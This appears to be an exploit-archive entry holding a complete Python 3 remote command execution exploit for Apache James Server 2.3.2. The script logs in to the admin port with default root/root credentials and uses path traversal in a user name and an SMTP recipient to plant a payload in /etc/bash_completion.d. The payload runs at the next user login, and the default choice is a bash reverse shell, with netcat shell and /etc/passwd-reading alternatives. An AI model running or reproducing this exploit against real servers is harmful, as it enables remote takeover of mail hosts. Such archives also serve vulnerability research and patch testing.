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Apache James Server 2.3.2 Remote Command Execution

Apache James Server 2.3.2 Remote Command Execution
Posted Sep 28, 2021
Authored by shinris3n

Apache James Server version 2.3.2 remote command execution exploit.

tags | exploit, remote
SHA-256 | c9b253ccb01558d000573b82422dd40cdb537674eba685ea7b12e068e995cf6b

Apache James Server 2.3.2 Remote Command Execution

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# Exploit Title: Apache James Server 2.3.2 - Remote Command Execution (RCE) (Authenticated) (2)
# Date: 27/09/2021
# Exploit Author: shinris3n
# Vendor Homepage: http://james.apache.org/server/
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
# Version: Apache James Server 2.3.2
# Tested on: Ubuntu
# Info: This exploit works on default installation of Apache James Server 2.3.2
# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d

'''
This Python 3 implementation is based on the original (Python 2) exploit code developed by
Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec. The following modifications were made:

1 - Made required changes to print and socket commands for Python 3 compatibility.
1 - Changed the default payload to a basic bash reverse shell script and added a netcat option.
2 - Changed the command line syntax to allow user input of remote ip, local ip and listener port to correspond with #2.
3 - Added a payload that can be used for testing remote command execution and connectivity.
4 - Added payload and listener information output based on payload selection and user input.
5 - Added execution output clarifications and additional informational comments throughout the code.

@shinris3n
https://twitter.com/shinris3n
https://shinris3n.github.io/
'''

#!/usr/bin/python3

import socket
import sys
import time

# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'

if len(sys.argv) != 4:
sys.stderr.write("[-]Usage: python3 %s <remote ip> <local ip> <local listener port>\n" % sys.argv[0])
sys.stderr.write("[-]Example: python3 %s 172.16.1.66 172.16.1.139 443\n" % sys.argv[0])
sys.stderr.write("[-]Note: The default payload is a basic bash reverse shell - check script for details and other options.\n")
sys.exit(1)

remote_ip = sys.argv[1]
local_ip = sys.argv[2]
port = sys.argv[3]

# Select payload prior to running script - default is a reverse shell executed upon any user logging in (i.e. via SSH)
payload = '/bin/bash -i >& /dev/tcp/' + local_ip + '/' + port + ' 0>&1' # basic bash reverse shell exploit executes after user login
#payload = 'nc -e /bin/sh ' + local_ip + ' ' + port # basic netcat reverse shell
#payload = 'echo $USER && cat /etc/passwd && ping -c 4 ' + local_ip # test remote command execution capabilities and connectivity
#payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # proof of concept exploit on root user login only

print ("[+]Payload Selected (see script for more options): ", payload)
if '/bin/bash' in payload:
print ("[+]Example netcat listener syntax to use after successful execution: nc -lvnp", port)


def recv(s):
s.recv(1024)
time.sleep(0.2)

try:
print ("[+]Connecting to James Remote Administration Tool...")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((remote_ip,4555)) # Assumes James Remote Administration Tool is running on Port 4555, change if necessary.
s.recv(1024)
s.send((user + "\n").encode('utf-8'))
s.recv(1024)
s.send((pwd + "\n").encode('utf-8'))
s.recv(1024)
print ("[+]Creating user...")
s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n".encode('utf-8'))
s.recv(1024)
s.send("quit\n".encode('utf-8'))
s.close()

print ("[+]Connecting to James SMTP server...")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((remote_ip,25)) # Assumes default SMTP port, change if necessary.
s.send("ehlo team@team.pl\r\n".encode('utf-8'))
recv(s)
print ("[+]Sending payload...")
s.send("mail from: <'@team.pl>\r\n".encode('utf-8'))
recv(s)
# also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n".encode('utf-8')) if the recipient cannot be found
s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n".encode('utf-8'))
recv(s)
s.send("data\r\n".encode('utf-8'))
recv(s)
s.send("From: team@team.pl\r\n".encode('utf-8'))
s.send("\r\n".encode('utf-8'))
s.send("'\n".encode('utf-8'))
s.send((payload + "\n").encode('utf-8'))
s.send("\r\n.\r\n".encode('utf-8'))
recv(s)
s.send("quit\r\n".encode('utf-8'))
recv(s)
s.close()
print ("[+]Done! Payload will be executed once somebody logs in (i.e. via SSH).")
if '/bin/bash' in payload:
print ("[+]Don't forget to start a listener on port", port, "before logging in!")
except:
print ("Connection failed.")

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